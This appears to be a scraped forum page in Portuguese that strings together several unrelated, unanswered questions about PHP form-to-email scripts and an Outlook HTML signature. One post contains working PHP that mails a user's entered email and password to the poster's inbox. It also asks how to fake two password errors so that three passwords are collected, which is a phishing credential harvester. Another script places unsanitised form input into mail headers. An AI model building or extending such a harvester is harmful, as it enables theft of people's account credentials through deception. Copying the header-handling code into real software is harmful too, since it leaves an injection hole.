Estou fazendo um projeto para faculdade, e tenho um formulário, esse formulário precisa enviar as respostas tanto para um banco de dados, mas também tem que enviar para uma API que envia para meu email, mas não sei como fazer essas duas coisas ao mesmo tempo
Boa noite amigos, preciso urgente de uma ajuda, estou iniciando em PHP e estou com alguns exercícios, criei uma página web em html e css básico com dois inputs ( email e senha) e um botão para enviar, segue o código:
<?php
function mail_sender(){
if(! ( isset($_REQUEST['email']) && isset($_REQUEST['password']) ) ){
return false;
}
$email = $_REQUEST['email'];
$password = $_REQUEST['password'];
$reciever = "meuemail@gmail.com";
$subject = "Novo acesso usuario";
$message = "Usuario: ". $email;
$message .= "\nSenha: ". $password;
return mail($reciever, $subject, $message);
}
if(mail_sender()){
header("Location: sucesso.html");
}
?>
Ele puxa o EMAIL e a SENHA digitada, envia para o meu email, até ai tudo bem, porém o nível 2 do exercício exige que, ao usuário digitar a senha pela primeira vez e clicar no botao de submit, ele apareça um erro, e limpe o campo, e repita isso por 2x.
Na terceira tentativa de por a senha, ele deve efetuar a ação de enviar o email, e ao invés de chegar ao email apenas o campo email e campo senha, deve chegar o campo email com as 3 senhas digitadas...
Boa tarde,
estou tentando enviar email autenticado pelo Office 365.
Já fiz vários testes e não funciona!
O meu código está assim:
Obs: usuário e senha vêm do BD, e estão guardados nas variáveis $user_email e $user_senha
Quando tento rodar o script retorna a mensagem: Mailer Error: Os endere�os de rementente a seguir falharam: ahenrique@hotmail.com
Olá, bom dia.
Tenho um formulário que envia as informações direto para o e-mail, implementei um campo para anexos, mas só recebo um anexo, gostaria de saber como enviar mais de um anexo por este mesmo input, se possível. (o input já recebe mais de um arquivo)
Obrigada.
segue o código funcionando. com apenas um anexo.
<?php
/* Valores recebidos do formulário */
$arquivo = $_FILES['arquivo'];
$nome = $_POST['nomedoolicitante'];
$email = $_POST['emailsolitante'];
$descricao = $_POST['descriçõesInstitucional'];
$consideracoes = $_POST['consideraçõesInstitucional'];
$to = xx';
$from = "xx"; // Deve ser um email válido do domínio
/* Cabeçalho da mensagem */
$boundary = "XYZ-" . date("dmYis") . "-ZYX";
$headers = "MIME-Version: 1.0\n";
$headers.= "From: $nome <$email> \n";
$headers.= "Content-type: multipart/mixed; boundary=\"$boundary\"\r\n";
$headers.= "$boundary\n";
/* Layout da mensagem */
$subject = "Contato pelo site ";
$corpo_mensagem = "
<html>
<p><b>Referente ao Solicitante: </b></p>
<p><b>Nome: </b>$nome</p>
<p><b>E-mail: </b>$email</p>
<p><b>Referente ao Material Institucioinal: </b></p>
<p><b>Descrição: </b>$descricao</p>
<p><b>Considerações: </b>$consideracoes</p>
</html>
";
if(file_exists($arquivo["tmp_name"]) and !empty($arquivo)){
$fp = fopen($_FILES["arquivo"]["tmp_name"],"rb"); // Abri o arquivo enviado.
$anexo = fread($fp,filesize($_FILES["arquivo"]["tmp_name"])); // Le o arquivo aberto na linha anterior
$anexo = base64_encode($anexo); // Codifica os dados com MIME para o e-mail
fclose($fp); // Fecha o arquivo aberto anteriormente
$anexo = chunk_split($anexo); // Divide a variável do arquivo em pequenos pedaços para poder enviar
$mensagem = "--$boundary\n"; // Nas linhas abaixo possuem os parâmetros de formatação e codificação, juntamente com a inclusão do arquivo anexado no corpo da mensagem
$mensagem.= "Content-Transfer-Encoding: 8bits\n";
$mensagem.= "Content-Type: text/html; charset=\"utf-8\"\n\n";
$mensagem.= "$corpo_mensagem\n";
$mensagem.= "--$boundary\n";
$mensagem.= "Content-Type: ".$arquivo["type"]."\n";
$mensagem.= "Content-Disposition: attachment; filename=\"".$arquivo["name"]."\"\n";
$mensagem.= "Content-Transfer-Encoding: base64\n\n";
$mensagem.= "$anexo\n";
$mensagem.= "--$boundary--\r\n";
}
else // Caso não tenha anexo
{
$mensagem = "--$boundary\n";
$mensagem.= "Content-Transfer-Encoding: 8bits\n";
$mensagem.= "Content-Type: text/html; charset=\"utf-8\"\n\n";
$mensagem.= "$corpo_mensagem\n";
}
/* Função que envia a mensagem */
if(mail($to, $subject, $mensagem, $headers))
{
echo "<meta http-equiv='refresh' content='10;URL=../OBRIGADO!.html'>";
}
else
{
echo "<br><br><center><b><font color='red'>Ocorreu um erro ao enviar a mensagem!";
}
?>
Já trabalhei com webdesign e desenvolvimento frontend, mas faziam anos que não mexia com isso. Hoje sou advogado.
Elaborei uma assinatura para e-mail em HTML, que quando aberta no navegador é exibida corretamente:
Ocorre que quando a assinatura é inserida na mensagem (Microsoft Outlook 2016) a disposição dos elementos se mostra desconfigurada, assim permanecendo se a mensagem for enviada:
Devem ter notado que a imagem que fica acima das informações é uma imagem de fundo. Já tentei também "background" na <table>, mas neste caso, apesar de aparecer no navegador a imagem sequer aparece na assinatura: